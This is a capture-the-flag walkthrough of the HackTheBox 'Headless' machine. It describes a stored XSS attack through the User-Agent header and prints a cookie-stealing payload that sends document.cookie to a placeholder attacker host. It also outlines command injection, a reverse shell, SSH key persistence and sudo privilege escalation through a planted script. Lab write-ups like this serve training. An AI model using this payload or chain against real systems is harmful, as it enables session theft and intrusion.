Rustscan exposes a service on port 22 & 5000
Visiting http://headless.htb:5000 displays a page with nothing interesting besides a link to /support.
ffuf uncovered /dashboard but we cannot enter as its http response is 500.
Noticeably a cookie has been set after connecting to the host a few times.
if we revisit /dashboard now that we have a cookie we find that this cookie is not authorized to access /dashboard
The value of this cookie is_admin looks to be a JWT token without the header. Normally its three sets of base64 encoded data separated by periods. its two here.
Its a weird JWT token as the payload seems unencrypted(but base64 encoded as expected) but there seems to be a signature attached. I tried to prepend a header on it with the common encryption algorithms in order to confirm which one exactly was used to no avail.
I moved on assuming that this cookie was used for setting the visitor’s permission based upon the session cookie data. Mine was set to “user“.
If we visit http://headless.htb/support, we find a html form that when visitor clicks submit, the form data is send to the same URI via post request.
If we try to insert a xxs payload into any form using either < or > we find a WAF response.
We are attempting to send malicious javascript by means of injecting code into the form data so that our malicious code is executed when victim loads the page to review the form data. We are finding that we cannot due to a WAF implementation.
Since we know that our user agent header is being logged we can attempt store an xxs payload in the log. The payload is stored on the server in the log and then is executed by the admin when they are reviewing the log. So, we can attempt to steal the is_admin cookie with our payload.
<img src=x onerror=this.src=”http://YOUR_TUNNELS_LOCAL_IP/steele.lol?c=”+document.cookie>
The payload attempts to load a src that does not exist, when it errors, it sends the victims document cookie to YOUR_TUNNELS_LOCAL_IP
If we start a web server on port 80, and send the payload, and wait, we find a response with our new, stolen cookie.
If we load this cookie into our browser to access /dashboard with it we find we now have access.
Hitting generate report sends a post request in which its data section is vulnerable to command injection.
We can execute a command in order to catch a rev shell to further add yourself to .ssh/authorized_keys to gain a fully interactive shell on dvir
With that we can access user.txt
checking sudo -l exposes that the user can run this syscheck bash script as sudo
The script executes initdb.sh and we can create our own initdb.sh file that will be executed as sudo privileges by syscheck. vuln code follows:
If we take the rev shell we used earlier and paste it in a file named initdb.sh in the location we execute syscheck, syscheck will then launch our initdb.sh rev shell as sudo.
